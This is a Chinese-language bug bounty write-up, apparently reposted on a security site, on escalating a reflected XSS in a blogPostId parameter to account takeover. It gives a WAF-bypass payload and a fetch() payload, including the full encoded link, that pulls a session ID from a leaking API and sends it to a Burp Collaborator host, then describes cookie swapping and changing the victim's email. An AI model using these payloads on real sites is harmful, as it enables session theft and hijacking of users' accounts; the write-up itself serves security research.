account takeover系列-由xss提升至账户劫持

admin 2025年1月13日19:39:28评论6 views字数 2014阅读6分42秒阅读模式
  • 前言

  • 发现反射型xss

  • 升级到ATO

  • 思路小结

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

前言

白帽小哥测试的目标是具有单个主域的私有程序,因此,在本文中将其称为 www.redacted.com;

发现反射型xss

在信息搜集阶段,启用burpsuite代理并将www.redacted.com添加至侦测范围之中,为了找到xss,小哥使用的是 reflected-parameters 的插件(地址在:https://github.com/portswigger/reflected-parameters),这个插件监控由代理生成的范围内的请求流量,并查找响应中反映的请求参数值

account takeover系列-由xss提升至账户劫持

因此,在捕获流量时,我遇到了一个名为blogPostId的参数,它的值在JS上下文中可以找到。

account takeover系列-由xss提升至账户劫持

我决定通过使用一个带有一组特殊字符的小字符串(比如test123'"><)来进一步测试这个参数,结果发现没有进行过滤。

首先,我试图闭合现有的脚本tag,但失败了,因为有WAF。因此,下一个有效负载被用来调用现有脚本标记中的alert函数,但是WAF也还是阻止了请求。

account takeover系列-由xss提升至账户劫持

在fuzzing一段时间后,使用以下有效载荷绕过限制:

https://www.redacted.com/preview/001981ba?blogPostId=test123";(alert)("xss")//

account takeover系列-由xss提升至账户劫持

图3

升级到ATO

提升XSS影响的最有用的方法是窃取受害者的会话id(SessionID),这会导致整个帐户被接管。所以,我注意到了Burp的历史日志中的请求,并发现了一个API请求,该请求以JSON格式在响应中泄漏了用户的会话id。

account takeover系列-由xss提升至账户劫持

泄露SessionID的接口为:

https://www.redacted.com/api/uis/accounts/current/sso


构造payload:

";fetch('https://www.redacted.com/api/uis/accounts/current/sso').then(a=> a.text()).then(a=> fetch('https://random.burpcollaborator.net?x='+a))//

解释一下上面的代码: 使用了javascript的fetch()方法来指示web浏览器向URL发送一个请求; 第一个fetch()方法向这个api端点发送一个GET请求;

https://www.redacted.com/api/uis/accounts/current/sso (leaking session id)

可以用它来劫持账户:(a=> a.text())将数据返回给a变量;(注意这里的a应该是一个JSON变量) 之后,使用第二个fetch()函数发送另一个GET请求,将窃取的数据发送到攻击者控制服务器。(这里使用了bp的Collaborator)

最后的payload如下:

https://www.redacted.com/preview/001981ba?blogPostId=327156%22;fetch(%27https://www.redacted.com/api/uis/accounts/current/sso%27).then(a=%3E%20a.text()).then(a=%3E%20fetch(%27https://random.burpcollaborator.net?x=%27%2ba))//

现在我所要做的就是将这个链接发送给任何经过身份验证的网站用户,一旦他们打开它,他们的会话ID将被发送到攻击者的控制服务器(在这里的例子中是bp的Collaborator)。

account takeover系列-由xss提升至账户劫持

在拿到会话ID后,首先作为攻击者登录,然后使用Firefox的开发者工具将我的会话ID替换为受害者的,并刷新页面,使我作为受害者登录并成功接管了会话。

account takeover系列-由xss提升至账户劫持

以攻击者身份登陆

account takeover系列-由xss提升至账户劫持

以受害者身份登陆

一旦我进入了受害者的账户,就简单地用我的邮箱地址更改了原先受害者的邮箱地址,并完全接管了这个账户。

思路小结

  1. 首先利用bp的一个插件发现一个反射型xss;     

2.找到某个接口泄露了sessionid 

3.构造poc思路: 在发现反射型xss的url处添加一个payload: 

此payload思路: 向上面泄露sessionid的api端点处利用fetch()函数发送一个GET请求,利用then语法将数据返回给变量; 

再利用fetch()函数发送另一个GET请求,将窃取的数据发送到攻击者控制服务器(bp的Collaborator也行); 

主要是获取到sessionid

4.利用替换sessionid的方法进入受害者账户再更改邮箱实现账户劫持

原文始发于微信公众号(迪哥讲事):account takeover系列-由xss提升至账户劫持

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月13日19:39:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   account takeover系列-由xss提升至账户劫持https://cn-sec.com/archives/1093050.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息